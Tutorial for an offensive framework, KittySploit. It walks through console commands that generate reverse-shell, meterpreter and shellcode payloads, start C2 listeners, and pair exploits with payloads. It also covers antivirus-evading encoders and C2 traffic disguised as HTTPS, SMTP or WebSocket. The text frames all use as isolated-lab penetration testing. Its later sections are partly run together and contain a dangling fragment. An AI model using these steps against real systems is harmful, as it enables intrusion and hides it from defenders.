Payloads, Encoders, and Evasion

Vocabulary: payload, stager, listener, session

Definitions

• Payload --- code or command executed on the target after compromise (reverse shell, meterpreter-like, Python script).
• Stager --- small loader that downloads the rest (payload stagers/).
• Single --- self-contained payload (payloads/singles/).
• Listener --- listening service on LHOST:LPORT that accepts the incoming connection.
• Session --- interactive channel (shell, meterpreter) managed by the framework after handshake.
• Encoder --- transforms the payload at encoding time (avoid badchars, static signatures).
• Transformer --- encrypts/obscures the C2 stream between payload and listener (symmetric).

Base class

core/framework/payload.py defines Payload with:

• CLIENT_LANGUAGE --- generated client language (python, powershell…) ;
• transformer option --- module path, must match the listener ;
• Zig compiler integration for certain native payloads.

KittySploit payload catalog

modules/payloads/ tree

Discovery in the console

search reverse tcp --type payload
search zig --type payload
show payloads
use payloads/singles/cmd/unix/bash_reverse_tcp
show options
show info

Zig payloads --- cross-platform compilation

zig_reverse_tcp module

File: modules/payloads/singles/cmd/unix/zig_reverse_tcp.py.

Characteristics (__info__):

• architectures: x64, x86, ARM, ARM64, MIPS, MIPS64, RISC-V, WASM32 ;
• associated listener: listeners/multi/reverse_tcp ;
• handler: REVERSE ; session: SHELL ;
• options: lhost, lport, target_os, target_arch, optimization, auto_compile, output_dir.

Zig generation workflow

use payloads/singles/cmd/unix/zig_reverse_tcp
set lhost 127.0.0.1
set lport 4444
set target_os linux
set target_arch x86_64
set optimization ReleaseSmall
set auto_compile true
set output_dir /tmp/kitty_zig_out
show options
generate

The module embeds Zig source and invokes the Zig compiler if present on the machine. ReleaseSmall minimizes binary size --- useful for transfer tests in the isolated test environment.

Zig meterpreter variant

use payloads/singles/cmd/unix/zig_meterpreter_reverse_tcp
set lhost 127.0.0.1
set lport 4444
set target_os linux
set target_arch x86_64
generate --format hex

Listeners --- opening the C2 channel

Generic reverse TCP listener

use listeners/multi/reverse_tcp
set lhost 127.0.0.1
set lport 4444
show options
run

The modules/listeners/multi/reverse_tcp.py module opens a TCP socket, displays Listening on LHOST:LPORT, and delegates the session to the framework on each connection.

Other available listeners

• listeners/multi/meterpreter_reverse_tcp --- meterpreter sessions ;
• listeners/multi/reverse_udp --- UDP ;
• listeners/multi/bind_tcp --- bind shell (target listens) ;
• listeners/web/php_post, php_get, websocket --- application-layer C2 ;
• listeners/covert/dns, dns_kittysploit --- covert channels (advanced isolated test environment) ;
• listeners/email/reverse_email --- email C2 ;
• listeners/database/mysql, redis, mongodb…

Correct operational order

1. Start the listener (run) in a job or dedicated terminal.
2. Generate or execute the payload with the same lhost/lport.
3. Trigger the payload on the isolated test target (exploit, manual copy, generate -o).
4. Verify sessions -l and interact (sessions -i 1).

Exploit + payload + compatible_payloads

Selection from an exploit

use exploits/linux/ssh/...   # example path from the local module catalog
show targets
set target 0
compatible_payloads
compatible_payloads --detailed
set payload payloads/singles/cmd/unix/bash_reverse_tcp
set lhost 127.0.0.1
set lport 4444
run

compatible_payloads (interfaces/command_system/builtin/compatible_payloads_command.py) queries get_compatible_payloads() on the current exploit: filtering by architecture, platform, handler, session type, protocol.

Compatibility criteria

• Arch --- x64 vs x86 vs armle ;
• Platform --- linux, windows, unix ;
• Handler --- REVERSE vs BIND ;
• SessionType --- SHELL vs meterpreter ;
• Protocol --- tcp, udp, etc.

If compatible_payloads is empty, the exploit may not declare metadata --- consult show info and manually choose a coherent payload.

The generate command

Usage

generate (interfaces/command_system/builtin/generate_command.py) produces the payload of the currently loaded payload module (use payloads/...).

use payloads/singles/cmd/unix/python_reverse_tcp
set lhost 10.0.0.5
set lport 443
generate
generate --output /tmp/rev.py --format python
generate --format base64
generate --preview
generate --verbose

Encoding options at generation time

generate --encoder encoders/cmd/base64 --iterations 2
generate --nops 100
generate --format c
generate --format powershell

--encoder applies an encoders/ module during generation. --iterations repeats encoding (increases evasion, increases size). --nops adds a NOP sled (shellcode context).

Output formats

Supported formats: raw, hex, base64, c, python, powershell, bash. Choose according to the isolated test environment delivery vector (script, paste, simulated memory injection).

Encoders (modules/encoders/)

Role

Encoders transform the payload to:

• avoid bad characters (\ x00, line breaks) ;
• reduce static signature detection (AV on file) ;
• adapt to the vector (PHP, JavaScript, command line).

They do not transform post-connection C2 traffic --- see transformers.

Catalog by family

encoders/cmd/base64 example

use payloads/singles/cmd/unix/bash_reverse_tcp
set lhost 127.0.0.1
set lport 4444
set encoder encoders/cmd/base64
show encoders
generate --verbose

The module (modules/encoders/cmd/base64.py) offers badchars and base64_decoder (auto, openssl…).

On an exploit

use exploits/...
set encoder encoders/x64/xor
set payload payloads/stagers/linux/x64/reverse_tcp
run

Transformers (modules/transformers/)

Role and difference from encoders

Transformers (core/framework/transformer.py) handle the C2 network stream after session establishment. Listener and payload must use the same module and the same options (e.g. XOR key).

Tree

• transformers/python/stream/xor --- stream XOR, Python client language ;
• transformers/python/stream/xor, zlib_base64_frame, rot, additive, cascade ;
• transformers/python/protocol/https_mimic, tls_mimic, smtp_mimic, http_chunked, websocket_mimic ;
• transformers/powershell/stream/xor, base64_frame ;
• transformers/php/stream/xor, protocol/https_mimic…

Symmetric listener + payload configuration

use listeners/multi/reverse_tcp
set lhost 127.0.0.1
set lport 4444
set transformer transformers/python/stream/xor
set key sharedkey2026
run

In a second terminal or after background:

use payloads/singles/cmd/unix/python_reverse_tcp
set lhost 127.0.0.1
set lport 4444
set transformer transformers/python/stream/xor
set key sharedkey2026
generate --output /tmp/xf_rev.py

If the key differs, the C2 channel stays connected but data is unreadable --- a frequent isolated test environment error.

Language compatibility

Each payload declares CLIENT_LANGUAGE. The transformer exposes SUPPORTED_CLIENT_LANGUAGES. Example: transformers/python/stream/xor supports python only --- incompatible with powershell_reverse_tcp without warning and untransformed generation.

use transformers/python/stream/xor
show info

Evasion in authorized isolated test environments --- concepts

Evasion layers

1. Static --- encoders, packing, source transformation (Zig ReleaseSmall) ;
2. Transport --- stream transformers, HTTPS/SMTP/WebSocket mimic ;

   KittySploit mainly covers (1) and (2). Defensive validation should test each layer separately.

   Limits and realism

3. Isolated test environment evasion guarantees nothing in production (IP reputation, behavioral ML).
4. Mimic protocols do not replace real TLS with valid certificates.
5. Zig and Python leave disk artifacts --- isolated test environment forensics must inventory them.

   Do not export generated binaries outside the isolated test environment. Do not share functional payloads on public channels. Destroy /tmp/ and output/ at the end of the reference task. Successful evasion

   Exploit integration --- automatic listener management

   core/framework/exploit_base.py (ExploitBase) can start a listener automatically based on the chosen payload, propagate transformer to listener and payload, and manage disablePayloadHandler. Useful options:

   use exploits/... set payload payloads/stagers/linux/x64/reverse_tcp set lhost 192.168.56.1 set lport 4444 set transformer transformers/python/stream/xor set key sharedkey show options run

   set disablePayloadHandler true if you are testing a manually deposited payload.

   Shellcode and internal generator

   core/lib/shellcode_generator.py and ShellcodeGenerator feed certain stager payloads. For advanced isolated test environments:

   search shellcode --type payload use payloads/stagers/linux/x64/reverse_tcp generate --format hex

   Cross-reference with encoders/x64/xor and encoders/x64/polymorphic_mutator for memory detection reference tasks (if the test VM allows it).

   Sessions and cleanup

   sessions -l sessions -i 1 sessions -k 1 jobs -l jobs -k 2

   After each reference task:

6. kill sessions and listener jobs ;
7. delete generate --output artifacts ;
8. lab reset if the container was modified ;
9. note tested hashes in the workspace for the blue team.

   Complete Metasploitable workflow (example)

   workspace create payload-lab-evasion workspace use payload-lab-evasion lab start metasploitable-recon scope add 127.0.0.1

   use listeners/multi/reverse_tcp set lhost 127.0.0.1 set lport 4444 run -j

   use payloads/singles/cmd/unix/bash_reverse_tcp set lhost 127.0.0.1 set lport 4444 generate --output /tmp/bash_rev.sh --format bash

   # Drop and execute on the isolated test target according to the selected vector # sessions -l

   Zig variant for advanced cross-compilation documentation:

   use payloads/singles/cmd/unix/zig_reverse_tcp set lhost 127.0.0.1 set lport 4444 set target_os linux set target_arch x86_64 set auto_compile true generate

   Troubleshooting

   Problem	Solution
   No session	Listener started? LHOST reachable from target? Isolated test environment firewall?
   C2 gibberish	Align transformer and key listener/payload
   compatible_payloads empty	Check exploit type; choose payload manually
   Zig fails	Install Zig; verify target_arch
   AV deletes payload	Expected; use VM without AV or excluded folder isolated test environment only
   generate without module	use payloads/... first
   Transformer ignored	Incompatible language; show info on transformer